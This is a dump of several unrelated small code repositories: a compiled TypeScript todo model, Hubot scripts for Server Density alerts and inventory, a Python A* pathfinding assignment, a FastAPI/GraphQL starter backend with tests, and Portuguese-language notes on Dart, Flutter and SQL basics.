Object.defineProperty(exports, "__esModule", { value: true });
const databases_1 = __importDefault(require("./databases"));
const userDb = new databases_1.default("todo");
class Todo {
constructor(id, title, dueAt) {
this.id = id;
this.title = title;
this.dueAt = dueAt;
}
toJson() {
return {
id: this.id,
title: this.title,
dueAt: this.dueAt,
};
}
static createTodo(json) {
return __awaiter(this, void 0, void 0, function* () {
const user = new Todo("", "", new Date());
// ID
let generatedId = Math.random().toString(36).substring(2);
// Date
var myDate = new Date();
myDate.setHours(myDate.getHours() + 24);
user.id = generatedId;
user.title = json['title'];
user.dueAt = myDate;
yield userDb.create(user.id, user.toJson());
return user;
});
}
}
exports.default = Todo;
|
4ac0ff85bac54b454c8cc7cf16d8c04597bcc551
|
[
"TypeScript",
"JavaScript"
] | 12 |
TypeScript
|
Tedionwe/super_todo_2
|
dfb86e8f8e2922587821dcea6381aa8c23c9338c
|
fae7ee0787d2936b64736fabe04febb461c1c354
|
refs/heads/master
|
<repo_name>ingridavh/ingridavh<file_sep>/README.md
# ingridavh.github.io
A repository to create a page for Ingrid. Hopefully some articles should come up here soon.
|
b3f5b885583ec2e4c35a9f8366b3b1f507c7a3b2
|
[
"Markdown"
] | 1 |
Markdown
|
ingridavh/ingridavh
|
195d7228d997ec0165451cfe712998fefb378872
|
fbac6071d00a79e232d70ce03ab43e3960f35bc8
|
refs/heads/master
|
<repo_name>Jafagervik/TDT4136<file_sep>/src/astar.py
""" Implementation of the astar algorithm """
from math import inf, sqrt
from src.node import Node
# Two different ways of finding the heuristic
def manhattan_distance(start, end):
"""
>>> inp: [0,3], [5,5]
"""
return abs(start[0] - end[0]) + abs(start[1] - end[1])
def eucledian_distance(start, end):
"""
>>> inp: [0,3], [5,5]
"""
return sqrt((end[0]-start[0])**2+(end[1]-start[1])**2)
def backtrack(current_node):
"""
When arriving at the end node,
find the path by backtracking until arriving at the start node
"""
path = [current_node.pos]
while current_node.parent:
current_node = current_node.parent
path.append(current_node.pos)
return path[::-1]
def astar(start, end, map_obj):
"""
Combines dfs and bfs into a more optimized way of searching
:param start, list[int], start position
:param end, list[int], end position
:param map_obj, Map_Obj, this is to have access to the cell values
"""
start_node = Node(start, None)
end_node = Node(end, None)
start_node.h = manhattan_distance(start, end)
start_node.f = start_node.g + start_node.h
opened = [start_node]
closed = []
while opened:
opened.sort()
curr_node = opened.pop(0)
closed.append(curr_node)
if curr_node.pos == end_node.pos:
return backtrack(curr_node)
# Generate neighbors for the current node
(x,y) = curr_node.pos
neighbors = [[x-1,y],[x,y-1],[x,y+1], [x+1,y]]
for nxt in neighbors:
# the map value basically becomes the cost of travelling to that cell
map_val = map_obj.get_cell_value(nxt)
# Check if we hit a wall
if map_val == -1:
continue
neighbor = Node(nxt, curr_node)
if neighbor in closed:
continue
neighbor.g = curr_node.g + map_val
neighbor.h = manhattan_distance(neighbor.pos, end_node.pos)
neighbor.f = neighbor.g + neighbor.h
if add_to_open(opened, neighbor):
opened.append(neighbor)
def add_to_open(opened, neighbor):
"""
Check if neighbor is cheap enough and in the opened list
"""
for node in opened:
if neighbor == node and neighbor.f >= node.f:
return False
return True
<file_sep>/src/node.py
""" This file specifies how nodes are created """
class Node():
def __init__(self, position=None, parent=None):
self.f = 0
self.g = 0
self.h = 0
self.parent = parent
self.pos = position
def __eq__(self, other):
return self.pos == other.pos
# makes it easier to sort open nodes instead of using lambdas
def __lt__(self, other):
return self.f < other.f
<file_sep>/README.md
# TDT4136 - Introduction to AI
Exercises for course TDT4136 at NTNU
## Contributors
* <NAME>
* <NAME>
<file_sep>/main.py
# Main file for running script
#from src.astar import *
from src.node import Node
from src.Map import Map_Obj
from src.astar import astar
def main():
print("Welcome to this A* path finding algorithm for Samfundet!")
while True:
task = int(input("What task do you want to do? "))
map_obj = Map_Obj(task)
path = astar(map_obj.get_start_pos(), map_obj.get_end_goal_pos(), map_obj)
for pos in path:
map_obj.set_cell_value(pos, 'p')
map_obj.show_map()
if __name__ == '__main__':
main()
|
48b3e507f7a9c136a2b2374401e69514e3f1ec08
|
[
"Markdown",
"Python"
] | 4 |
Markdown
|
Jafagervik/TDT4136
|
9368e6432fb7d3117e682fc3b23b89b04974105c
|
61dc8f3cabb56fbce49ce2f275c2a86497b4a1b7
|
refs/heads/main
|
<repo_name>rachmanzz/full-stack-fastapi-graphql<file_sep>/backend/app/crud/crud.py
from enum import Enum
from sqlalchemy.orm import Session
from fastapi import HTTPException
from typing import Any, Dict, List, Optional, Union
from graphql import GraphQLError
from app.core.security import get_password_hash, verify_password
from app.models import sql_models, graphene_models
from app.core import security
from app.db.database import database
async def get_user(id: int) -> Optional[Dict]:
query = sql_models.users.select().where(sql_models.users.c.id == int(id))
user = await database.fetch_one(query=query)
return dict(user) if user else None
async def get_user_by_email(email: str) -> Optional[Dict]:
query = sql_models.users.select().where(sql_models.users.c.email == email)
user = await database.fetch_one(query=query)
return dict(user) if user else None
async def get_users(skip: int = 0, limit: int = 100) -> Optional[List]:
query = sql_models.users.select(offset=skip, limit=limit)
users = await database.fetch_all(query=query)
users = [dict(user) for user in users] if users else None
return users
async def create_user(user: graphene_models.UserCreate) -> int:
params = dict(user)
params["hashed_password"] = security.get_password_hash(user["password"])
del params["password"]
query = sql_models.users.insert().values(**params)
return await database.execute(query)
async def get_current_user(token: str) -> Optional[graphene_models.User]:
user_id = security.decode_access_token(token)
fetched_user = await get_user(id=user_id)
if not fetched_user:
raise HTTPException(status_code=404, detail="User not found")
return fetched_user
def get_items(db: Session, skip: int = 0, limit: int = 100):
return db.query(sql_models.Item).offset(skip).limit(limit).all()
async def create_user_item(item: graphene_models.ItemCreate, user_id: int) -> int:
params = dict(item)
params["owner_id"] = user_id
query = sql_models.items.insert()
return await database.execute(query=query, values=params)
<file_sep>/backend/app/main.py
import fastapi
import uvicorn
import sys
from fastapi import FastAPI, Request, Depends
from starlette.graphql import GraphQLApp
from starlette.datastructures import URL
from graphql.execution.executors.asyncio import AsyncioExecutor
from fastapi.middleware.cors import CORSMiddleware
import graphene
from sqlalchemy.orm import Session
from app.api import deps
from app.api import gql
from app.db.database import database
from app.models import graphene_models
app = FastAPI()
origins = [
"http://localhost",
"http://localhost:8080",
]
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
@app.on_event("startup")
async def startup():
await database.connect()
@app.on_event("shutdown")
async def shutdown():
await database.disconnect()
schema = graphene.Schema(
query=gql.Query,
mutation=gql.Mutation)
graphql_app = GraphQLApp(
schema=schema,
executor_class=AsyncioExecutor)
@app.get('/')
async def graphiql(request: Request, current_user: graphene_models.User = Depends(deps.get_current_user)):
request._url = URL('/gql')
return await graphql_app.handle_graphiql(request=request)
@app.post('/gql')
async def graphql(request: Request, current_user: graphene_models.User = Depends(deps.get_current_user)):
request.state.current_user = current_user
return await graphql_app.handle_graphql(request=request)
if __name__ == '__main__':
uvicorn.run(app)
<file_sep>/README.md
[](https://travis-ci.org/matthewchung74/full-stack-fastapi-graphql)
# Full Stack FastAPI with GraphQL - Base Project Generator
Generate a backend and frontend (wip) stack using Python, including interactive GraphQL API documentation.
### Interactive API documentation
This example shows the [postman](http://postman.com) environment, api, and an example of getting an auth token and creating an item. Note, not using GraphiQL since it doesn't support authentication headers.

### Dashboard Login
wip
### Dashboard - Create User
wip
## Features
* Full **Docker** integration (Docker based).
* Docker Swarm Mode deployment. (wip)
* **Docker Compose** integration and optimization for local development.
* **Production ready** Python web server using Uvicorn and Gunicorn. (wip)
* Python <a href="https://github.com/tiangolo/fastapi" class="external-link" target="_blank">**FastAPI**</a> backend:
* **Fast**: Very high performance, on par with **NodeJS** and **Go** (thanks to Starlette and Pydantic).
* **Intuitive**: Great editor support. <abbr title="also known as auto-complete, autocompletion, IntelliSense">Completion</abbr> everywhere. Less time debugging.
* **Easy**: Designed to be easy to use and learn. Less time reading docs.
* **Short**: Minimize code duplication. Multiple features from each parameter declaration.
* **Robust**: Get production-ready code. With automatic interactive documentation.
* **Standards-based**: Based on (and fully compatible with) the open standards for APIs: <a href="https://github.com/OAI/OpenAPI-Specification" class="external-link" target="_blank">OpenAPI</a> and <a href="http://json-schema.org/" class="external-link" target="_blank">JSON Schema</a>.
* <a href="https://fastapi.tiangolo.com/features/" class="external-link" target="_blank">**Many other features**</a> including automatic validation, serialization, interactive documentation, authentication with OAuth2 JWT tokens, etc.
* **Secure password** hashing by default.
* **JWT token** authentication.
* **SQLAlchemy** models (independent of Flask extensions, so they can be used with Celery workers directly).
* Basic starting models for users (modify and remove as you need).
* **Alembic** migrations.
* **CORS** (Cross Origin Resource Sharing).
* **Celery** worker that can import and use models and code from the rest of the backend selectively.
* REST backend tests based on **Pytest**, integrated with Docker, so you can test the full API interaction, independent on the database. As it runs in Docker, it can build a new data store from scratch each time (so you can use ElasticSearch, MongoDB, CouchDB, or whatever you want, and just test that the API works).
* **React** frontend:
wip
## How to use it
Go to the directory where you want to create your project and run:
```bash
git clone this project
docker-compose up
```
## How to deploy (wip)
This stack can be adjusted and used with several deployment options that are compatible with Docker Compose, but it is designed to be used in a cluster controlled with pure Docker in Swarm Mode with a Traefik main load balancer proxy handling automatic HTTPS certificates, using the ideas from <a href="https://dockerswarm.rocks" target="_blank">DockerSwarm.rocks</a>.
Please refer to <a href="https://dockerswarm.rocks" target="_blank">DockerSwarm.rocks</a> to see how to deploy such a cluster in 20 minutes.
## License
This project is licensed under the terms of the MIT license.
<file_sep>/backend/app/tests/conftest.py
import graphene
import uvicorn
import pytest
from httpx import AsyncClient
from multiprocessing import Process
import time
import string
import random
from app.main import app, schema
from app.tests import test_gql
from app.db.database import database
from app.models import sql_models
# file used for postman testing
with open("schema.sdl", "w") as text_file:
text_file.write(str(schema))
def run_server():
uvicorn.run(app)
@pytest.fixture(scope="module")
def credentials():
random_string = ''.join(random.choices(string.ascii_uppercase +
string.digits, k = 4))
email = f"<EMAIL>"
return {
"email":email,
"password":"<PASSWORD>"
}
@pytest.fixture(scope="module")
def server(credentials):
proc = Process(target=run_server, args=(), daemon=True)
proc.start()
time.sleep(.5)
yield
# cleanup
conn = sql_models.engine
query = sql_models.users.select().where(sql_models.users.c.email == credentials["email"])
user_result = next(conn.execute(query))
query = sql_models.items.delete().where(sql_models.items.c.owner_id == user_result["id"])
conn.execute(query)
query = sql_models.users.delete().where(sql_models.users.c.email == credentials["email"])
conn.execute(query)
proc.kill()
<file_sep>/backend/app/models/sql_models.py
from datetime import datetime
import sqlalchemy as sa
from app.core.config import settings
metadata = sa.MetaData()
users = sa.Table(
"users",
metadata,
sa.Column("id", sa.Integer, primary_key=True),
sa.Column("email", sa.String, nullable=False),
sa.Column("hashed_password", sa.String, nullable=False),
sa.Column("created_date", sa.DateTime)
)
items = sa.Table(
"items",
metadata,
sa.Column("id", sa.Integer, primary_key=True),
sa.Column("title", sa.String, nullable=False),
sa.Column("description", sa.String, nullable=True),
sa.Column("owner_id", sa.Integer, nullable=False),
sa.Column("created_date", sa.DateTime)
)
engine = sa.create_engine(
settings.SQLALCHEMY_DATABASE_URI, connect_args={}, echo=True
)
metadata.create_all(engine)
<file_sep>/backend/app/api/deps.py
from typing import Generator, Optional
from fastapi import Depends, Request, FastAPI, HTTPException, status
from fastapi.security import utils, OAuth2PasswordBearer, OAuth2PasswordRequestForm
from sqlalchemy.orm import Session
from jose import jwt
from fastapi import FastAPI, Header
from app.core.config import settings
from app.core import security
from app.crud import crud
from app.models import graphene_models
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")
async def get_current_user(request: Request) -> Optional[graphene_models.User]:
authorization: str = request.headers.get("Authorization")
if not authorization:
return None
_, token = utils.get_authorization_scheme_param(authorization)
return await crud.get_current_user(token=token)
<file_sep>/backend/app/tests/test_gql.py
import pytest
import time
import httpx
import json
my_storage = {}
@pytest.fixture
def storage():
return my_storage
@pytest.mark.asyncio
async def test_create_user(server, credentials, storage):
query = '''
mutation {
userCreate(user: {
email:"{email}",
password:"{<PASSWORD>}"
}) {
success,
id
}
}
'''
query = query.replace("{email}", credentials["email"])
query = query.replace("{password}", credentials["password"])
async with httpx.AsyncClient() as client:
response = await client.post(
'http://localhost:8000/gql',
timeout=60,
json = {
"query": query,
"variables": None
})
json_response = json.loads(response.text)
print(json_response)
assert json_response["data"]["userCreate"]["success"] == True
storage["user_id"] = json_response["data"]["userCreate"]["id"]
@pytest.mark.asyncio
async def test_auth_user(server, credentials, storage):
query = '''
mutation {
authUser(user: {
email:"{email}",
password: <PASSWORD>}"
}) {
tokenType,
accessToken
}
}
'''
query = query.replace("{email}", credentials["email"])
query = query.replace("{password}", credentials["password"])
async with httpx.AsyncClient() as client:
response = await client.post(
'http://localhost:8000/gql',
headers={},
timeout=60,
json = {
"query": query,
"variables": None
})
json_response = json.loads(response.text)
assert json_response["data"]["authUser"]["tokenType"] == "bearer"
assert json_response["data"]["authUser"]["accessToken"] != None
storage["accessToken"] = json_response["data"]["authUser"]["accessToken"]
@pytest.mark.asyncio
async def test_create_item(server, storage):
query = '''
mutation {
itemCreate(item: {
title:"{title}",
description: "{description}"
}) {
success
}
}
'''
query = query.replace("{title}", "mytitle")
query = query.replace("{description}", "mydescription")
token = storage["accessToken"]
async with httpx.AsyncClient() as client:
response = await client.post(
'http://localhost:8000/gql',
headers={"Authorization": f"Bearer {token}"},
timeout=60,
json = {
"query": query,
"variables": None,
})
json_response = json.loads(response.text)
assert json_response["data"]["itemCreate"]["success"] == True
<file_sep>/backend/app/models/graphene_models.py
from typing import List, Optional
import graphene
import uuid
class ItemBase(graphene.ObjectType):
title = graphene.String()
description = graphene.String()
class ItemCreate(graphene.InputObjectType):
title = graphene.String(required=True)
description = graphene.String(required=True)
class Item(ItemBase):
id = graphene.Int()
owner_id = graphene.Int()
class UserBase(graphene.ObjectType):
email = graphene.String()
class UserCreate(graphene.InputObjectType):
email = graphene.String(required=True)
password = graphene.String(required=True)
class User(UserBase):
id = graphene.Int()
items = graphene.List(Item)
class Token(graphene.ObjectType):
access_token = graphene.String()
token_type = graphene.String()
class Success(graphene.ObjectType):
id = graphene.String()
success = graphene.Boolean()
<file_sep>/backend/app/db/database.py
from typing import List
import databases
import sqlalchemy
from fastapi import FastAPI
from pydantic import BaseModel
from app.core.config import settings
database = databases.Database(
settings.SQLALCHEMY_DATABASE_URI,
ssl=settings.SQLALCHEMY_DATABASE_SSL,
min_size=settings.SQLALCHEMY_DATABASE_MIN_POOL,
max_size=settings.SQLALCHEMY_DATABASE_MAX_POOL
)<file_sep>/backend/app/alembic/versions/4c63714e8c59_create_items_users_table.py
"""create items users table
Revision ID: <PASSWORD>
Revises:
Create Date: 2021-02-17 16:28:58.719102
"""
from alembic import op
import sqlalchemy as sa
from datetime import datetime
from sqlalchemy.sql.expression import func
# revision identifiers, used by Alembic.
revision = '<PASSWORD>'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
op.create_table(
"users",
sa.Column("id", sa.Integer, primary_key=True, unique=True),
sa.Column("email", sa.String(200), nullable=False, unique=True),
sa.Column("hashed_password", sa.String(100), nullable=False),
sa.Column("created_date", sa.DateTime, nullable=False, server_default=func.now()),
sa.PrimaryKeyConstraint("id"),
)
op.create_index(op.f("ix_user_email"), "users", ["email"], unique=True)
op.create_table(
"items",
sa.Column("id", sa.Integer, primary_key=True, unique=True),
sa.Column("title", sa.String(100), nullable=False),
sa.Column("description", sa.String(500), nullable=True),
sa.Column("owner_id", sa.Integer, nullable=False),
sa.Column("created_date", sa.DateTime, nullable=False, server_default=func.now()),
sa.ForeignKeyConstraint(["owner_id"], ["users.id"],),
sa.PrimaryKeyConstraint("id"),
)
op.create_index(op.f("ix_item_description"), "items", ["description"], unique=False)
op.create_index(op.f("ix_item_title"), "items", ["title"], unique=False)
def downgrade():
op.drop_index(op.f("ix_item_title"), table_name="items")
op.drop_index(op.f("ix_item_description"), table_name="items")
op.drop_table("items")
op.drop_index(op.f("ix_user_email"), table_name="users")
op.drop_table("users")
<file_sep>/backend/app/api/gql.py
import graphene
from datetime import timedelta
from fastapi import HTTPException
from app.models import graphene_models
from app.crud import crud
from app.core.config import settings
from app.core import security
from app.core.security import verify_password
class Query(graphene.ObjectType):
users = graphene.List(graphene_models.User)
def resolve_users(parent, info, skip: int = 0, limit:int = 100):
return crud.get_users(skip=skip, limit=limit)
class UserCreate(graphene.Mutation):
class Arguments:
user = graphene_models.UserCreate(required=True)
Output = graphene_models.Success
@staticmethod
async def mutate(parent, info, user):
fetched_user = await crud.get_user_by_email(email=user["email"])
if fetched_user:
raise HTTPException(status_code=409, detail="Email already registered")
id = await crud.create_user(user=user)
return {"id":id, "success": id != None}
class ItemCreate(graphene.Mutation):
class Arguments:
item = graphene_models.ItemCreate(required=True)
Output = graphene_models.Success
@staticmethod
async def mutate(parent, info, item):
current_user = info.context["request"].state.current_user
id = await crud.create_user_item(item, current_user["id"])
return {"id":id, "success": id != None}
class AuthUser(graphene.Mutation):
class Arguments:
user = graphene_models.UserCreate(required=True)
Output = graphene_models.Token
@staticmethod
async def mutate(root, info, user) -> graphene_models.Token:
fetched_user = await crud.get_user_by_email(email=user["email"])
if not fetched_user:
raise HTTPException(status_code=404, detail="Email not found")
password = user["password"]
hashed_password = fetched_user["hashed_password"]
is_authenticated = verify_password(password, hashed_password)
if not is_authenticated:
raise HTTPException(status_code=401, detail="Invalid password")
access_token_expires = timedelta(seconds=settings.ACCESS_TOKEN_EXPIRE_SECONDS)
token = security.create_access_token(fetched_user["id"], expires_delta=access_token_expires)
return graphene_models.Token(token, token_type="bearer")
class Mutation(graphene.ObjectType):
user_create = UserCreate.Field()
auth_user = AuthUser.Field()
item_create = ItemCreate.Field()
<file_sep>/backend/backend.dockerfile
FROM python:3.8
WORKDIR /app/
ENV PYTHONDONTWRITEBYTECODE 1
ENV PYTHONUNBUFFERED 1
COPY pyproject.toml poetry.lock* /app/
COPY ./app/alembic.ini /app/
RUN pip install 'poetry==1.1.4'.
RUN poetry config virtualenvs.create false
RUN poetry install --no-root
COPY ./app /app/app
ENV PYTHONPATH=/app
EXPOSE 8000 8000
<file_sep>/backend/pyproject.toml
[tool.poetry]
name = "fastapi-graphql-starter"
version = "0.1.0"
description = ""
authors = ["<NAME> <<EMAIL>>"]
[tool.poetry.dependencies]
python = "^3.7"
fastapi = "^0.63.0"
uvicorn = "^0.13.3"
Jinja2 = "^2.11.3"
httpx = "^0.16.1"
graphene = "^2.1.8"
graphene-sqlalchemy = "^2.3.0"
async-exit-stack = "^1.0.1"
async_generator = "^1.10"
psycopg2-binary = "^2.8.6"
graphene-pydantic = "0.1.0"
bcrypt = "^3.2.0"
python-jose = "^3.2.0"
passlib = {extras = ["bcrypt"], version = "^1.7.4"}
asyncpg = "^0.22.0"
databases = {extras = ["postgresql"], version = "^0.4.1"}
alembic = "^1.5.4"
pytest-asyncio = "^0.14.0"
python-dotenv = "^0.15.0"
[tool.poetry.dev-dependencies]
[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"
<file_sep>/backend/app/core/config.py
import os
from typing import Any, Dict, List, Optional, Union
from pydantic import BaseSettings
secret_key = os.getenv("SECRET_KEY") if os.getenv("SECRET_KEY") else "abc"
db_host = os.getenv("DB_HOST") if os.getenv("DB_HOST") else "localhost"
class Settings(BaseSettings):
SECRET_KEY = secret_key
ACCESS_TOKEN_EXPIRE_SECONDS: int = 60 * 60 * 24
SQLALCHEMY_DATABASE_URI = f"postgresql://postgres:password@{db_host}/fastapi"
SQLALCHEMY_DATABASE_SSL = False
SQLALCHEMY_DATABASE_MIN_POOL = 1
SQLALCHEMY_DATABASE_MAX_POOL = 20
settings = Settings()
|
ce92d1a6f481c761658ff89348a2f10bffe3c648
|
[
"Markdown",
"TOML",
"Dockerfile",
"Python"
] | 14 |
Markdown
|
rachmanzz/full-stack-fastapi-graphql
|
11cd01321f046df014d02796c0853c848f242b38
|
9d4efb8724a816095413656f83b34644adde35f0
|
refs/heads/main
|
<file_sep>This is Lockender's first git project!
|
a0145d19e09e3a0a15d6b1e0954a65e5ce91e9fc
|
[
"Markdown"
] | 1 |
Markdown
|
Lockender/git_test
|
972e79b34347d6466934ce829871bef4d4a79793
|
4f5aec66db1bfd077473028272a17d20c5b06b29
|
refs/heads/master
|
<file_sep># Description:
# Manage Server Density alerts
#
# Commands:
# /sd pause alert <alertID>
# /sd resume alert <alertID>
# /sd open alerts [<device/service ID>]?
# /sd paused alerts?
#
# Configuration:
# HUBOT_SD_API_TOKEN
class SDAlerts
apiToken: process.env.HUBOT_SD_API_TOKEN
baseURL: 'https://api.serverdensity.io'
comparisons:
'c': 'contains'
'nc': 'does not contain'
'lt': '<'
'gt': '>'
'lte': '<='
'gte': '>='
'eq': '=='
'neq': '!='
're': 'matches regex'
'nre': 'does not match regex'
constructor: (@robot) -> @createCommands()
createCommands: =>
@robot.hear /^\/sd (resume|pause) (?:alert)?(?:\s)?([a-z0-9]{24})?$/i, @updateState
@robot.hear /^\/sd open alerts(?:\s?)([a-z0-9]{24})?\?$/i, @listOpen
@robot.hear /^\/sd paused alerts\?$/i, @listPaused
@robot.hear /^\/sd alerts okay\?$/i, @test
test: (msg) -> msg.reply "Okay."
listPaused: (msg) =>
msg.send "Fetching paused alerts..."
filter =
enabled: no
params =
token: @apiToken
filter: JSON.stringify(filter)
msg
.http("#{@baseURL}/alerts/configs/")
.headers
'Accept': 'application/json'
'Content-Type': 'application/json'
.query(params)
.get() (error, response, body) ->
if error
msg.send "HTTP Error: #{error}"
return
json = JSON.parse(body)
if json.errors
msg.send "API Error: #{json.errors.type}"
else
if json.length is 0
msg.send "There are no paused alerts"
else
multiple = json.length isnt 1
output = "\n\n#{json.length} paused alert" + (if multiple then 's' else '')
for alert, index in json
output += "\n#{index + 1}) #{alert.fullField} #{@comparisons[alert.comparison]} #{alert.value} for #{alert.subjectType} (#{alert.subjectId}) [_id: #{alert._id}]"
output += "\n\n"
msg.send output
listOpen: (msg) =>
subjectID = msg.match[1]
msg.send "Fetching open alerts" + (if subjectID then " for #{subjectID}" else "") + "..."
params =
closed: no
msg
.http("#{@baseURL}/alerts/triggered/" + (subjectID or "") + "?token=#{@apiToken}")
.headers
'Accept': 'application/json'
'content-type': 'application/json'
.query(params)
.get() (error, response, body) =>
if error
msg.send "HTTP Error: #{error}"
return
json = JSON.parse(body)
if json.errors
msg.send "API Error: #{json.errors.type}"
else
if json.length is 0
msg.send 'No open alerts. Good. Good.'
else
multiple = json.length isnt 1
output = "\n\n#{json.length} open alert" + (if multiple then 's' else '') + "\n"
for alert, index in json
output += "\n#{index + 1}) #{alert.config.fullField} #{@comparisons[alert.config.comparison]} #{alert.config.value} for #{alert.config.subjectType} (#{alert.config.subjectId}) - [Config: #{alert.config._id}]"
output += "\n\n"
msg.send output
updateState: (msg) =>
command = msg.match[1]
configID = msg.match[2]
unless configID
msg.send "No config ID provided. *panics*"
return
msg.send command.charAt(0).toUpperCase() + command[1...command.length - 1] + 'ing alert...'
data =
enabled: (command is 'resume')
msg
.http("#{@baseURL}/alerts/configs/#{configID}?token=#{@apiToken}")
.headers
'Accept': 'application/json'
'content-type': 'application/json'
.put(JSON.stringify(data)) (error, response, body) ->
if error
msg.send "HTTP Error: #{error}"
return
response = JSON.parse(body)
message = if response.errors then "Error: #{response.errors.type}" else "#{command}d alert #{configID} (#{response.fullField} #{response.comparison} #{response.value})"
msg.send message
module.exports = (robot) -> new SDAlerts(robot)
<file_sep>hubot-serverdensity
===================
Hubot commands for Server Density
<file_sep># Description:
# Server Density Inventory
#
# Commands:
# /sd list <item type>
#
# Configuration:
# HUBOT_SD_API_TOKEN
class SDInventory
apiToken: process.env.HUBOT_SD_API_TOKEN
baseURL: 'https://api.serverdensity.io'
constructor: (@robot) ->
robot.hear /^\/sd list ([a-z]+)$/i, @list
robot.hear /^\/sd inventory okay\?$/i, @test
test: (msg) -> msg.reply "Okay."
list: (msg) =>
itemType = msg.match[1].trim()
msg.send "Fetching #{itemType}..."
filter =
deleted: no
type: itemType[0...itemType.length - 1]
params =
token: @apiToken
filter: JSON.stringify(filter)
msg.http("#{@baseURL}/inventory/resources")
msg.headers
"Accept": 'application/json'
"content-type": 'application/json'
msg.query(params)
msg.get() (error, response, body) ->
if error
msg.send "HTTP Error: #{error}"
return
response = JSON.parse(body)
if response.errors
msg.send "API Error: #{response.errors.type}"
return
output = "\n\n" + response.length + " " + itemType[0...itemType.length - 1] + "(s)\n"
for item in response
output += switch item.type
when 'service' then "\n#{item.name} | #{item.checkMethod} #{item.checkUrl} | [ID: #{item._id}]"
when 'device' then "\n#{item.name} | #{item.hostname} | [ID: #{item._id}]"
else "\n#{item.name} | [ID: #{item._id}]"
output += "\n\n"
msg.send output
module.exports = (robot) -> new SDInventory(robot)
|
dfd80795eb889066d5c2a541a13e63d4312714a2
|
[
"CoffeeScript",
"Markdown"
] | 3 |
CoffeeScript
|
harrywincup/hubot-serverdensity
|
2b228794bc74d55c3a74640a283c9481502ce8bc
|
6e4b89acea839e4370fa70a66f44a12c066c0a87
|
refs/heads/master
|
<repo_name>joaovsantos995/senac<file_sep>/Aulas Felipe/banco de dados/README.md
##Aulas de banco de dados
aqui ficarão todos os arquivos e materias que foram criados nas aulas de bancos de dados.
<file_sep>/aula2/main.dart
import 'package:flutter/material.dart';
void main() {
runApp(new Material(
color: Colors.lightBlue,
child: new Center(
child: new Text("Hello World",
textDirection: TextDirection.ltr,
style: new TextStyle(fontSize: 40,
color: Colors.black,
),
), // Text
) // Center
) //Material
);
}
<file_sep>/Aulas Felipe/banco de dados/scripts e bds/tipos de SELECT.sql
--SELECT que podem ser feito no banco
--trazer todos os alunos que começam o nome com a letra R
SELECT nome, email
FROM aluno
WHERE nome LIKE 'R%';
--trazer quantos alunos estão cadastrado na tabela aluno
--realizar a junção de duas ou mais tabelas
--trazer todos os alunos que estão estudando em algum curso
--obs.:se não estiver estudando, não vai aparecer o nome
SELECT
aluno.nome as mome_aluno,
curso.nome as nome_curso
FROM aluno
JOIN estuda
ON aluno.ra = estuda.es_ra
JOIN curso
ON curso.id_curso = estuda.es_curso;<file_sep>/README.md
# Programador
```dart
String nome, sobrenome, email, senha, cpf, endereco, sexo, celular, curso, nome_social;
int ano_nasc, idade, qtd_moradores;
double renda_familiar, renda_pessoa;
nome = "<NAME> " ;
sobrenome = "<NAME>" ;
email = "<EMAIL>" ;
senha = "<PASSWORD>";
cpf = "493849948/71";
endereco = "rua Bernaedo Quintana 315";
sexo = "maisculino" ;
celular = "(19)99565-9735";
curso = "programador de dipo. móveis";
nome_social = "";
ano_nasc = 2004;
idade = 2019 - ano_nasc ;
qtd_moradores = 3;
renda_familiar = 2000;
renda_pessoa = renda_familiar / qtd_moradores;
print("**********************");
print("confirmação de cadastro");
print("**********************");
print("\nnome: $nome $sobrenome");
if(nome_social != "")
{
print("nome social $nome_social");
}
print("E-mail: $email");
print("sexo: $sexo");
print("celular: $celular");
print("ano de nacimento: $ano_nasc");
print("idade: $idade");
print("CPF: $cpf");
print("*******************");
print("informações senac");
print("*******************");
print("curso: $curso");
print("moradores da mesma casa: $qtd_moradores");
print("renda familiar: r\$ $renda_familiar");
print("renda por pessoa: R\$ ${renda_pessoa.toStringAsFixed(2)}") ;
```
## condição lógica IF
o IFserve para determinar um bloco de introções **deve** ou **não** ser executado, pode-se dizer que for necessário **testar**algum valor usaremos o *if*.
- == *Igualdade*
- != *Diferente*
- \> *maior ou igual*
- < *menor ou igual*
- \> *maior*
- < *menor*
### sintaxe
```dart
if(teste_logico)
{
//faz isso se o teste for verdadeiro
}
else
{
//faz isso se o teste for falso
}
```
### Exemplo if :+1:
```dart
string curso = "programador android";
if(curso == "programador android")
{
print("Parabéns, você faz otimas escolhas");
}
else
{
print("vacilão, aposto que você faz ADM.")
}
double nota1 , nota2 , media;
nota1 = 4;
nota2 = 6;
media = ( nota1 + nota2) / 2;
if(media >=5)
{
print("aprovadocom media $media");
}
else
{
print("reprovado com media $media");
}
```
## Aula 3 - lógica com dart:+1:
Foi importada a *biblioteca* **dart:math** para podermos usar funções matemáticas com potência e raiz quadrada,
no exemploabaixo foi usada a função **math.sqrt()** para calcular a raiz de delta .
- após a importação foi dado um"apelido" para chamar a função através da sintaxe **as**(dart.math as **math**)
- foram usados 2 if, o 1º para o acesso através da palavra mágica *shazam* e o 2º para fazer a equação.
- cada **if** tem seu próprio **else** , daí a importância de *identar* , organizar o código com **TABS**
### Exemplos usando math :+1:
```dart
print(math.sqrt(9)); //exibe a ariz de 9
print(math.pi); //exibe o valor de pi
print(math.pow(2,7)); // exibe o resultado de 2 elevado a 7
```
###Exemplo usando if dentro de if(login e equação de 2º grau):+1::+1:
```dart
import 'dart:math' as math;
void main() {
String palavra_magica;
palavra_magica = "shazam";
if(palavra_magica == "shazam")
{
print("Exercicio 1 - Bhaskara");
double delta, a, b, c;
a = 1;
b = -10;
c = 25;
delta = (b * b) -4 * a * c ;
print ("O DELTA = $delta");
if(delta < 0)
{
print("nenhuma raiz real pq o delta é menor que zero.");
}
else
{
double raiz_q, x1, x2;
//raiz quadrada
raiz_q = math.sqrt(delta);
print("A RAIZ DE DELTA = $raiz_q");
x1 = ( -b + raiz_q) / (2 * a );
x2 = (-b - raiz_q) / (2 * a );
print("x1 = $x1");
print("x2 = $x2");
}
}
else
{
print("Acesso negado, você não é Digno.");
}
```
##if aninhado ou ifencadeado
quando temos mais do que 2 testes possiveis, é necessario alterar a estrutura a acrecentar um **else if** após o primeiro if
```dart
if(teste
{
//faz isso
}
else if (teste)
{
//faz isso
}
else
{
//nenhum dos anteriores
}
void main() {
String cidade_natal;
cidade_natal =("são joão da boa vista");
if(cidade_natal.toLowerCase()== "são joão da boa vista")
{
print("são joanense");
}
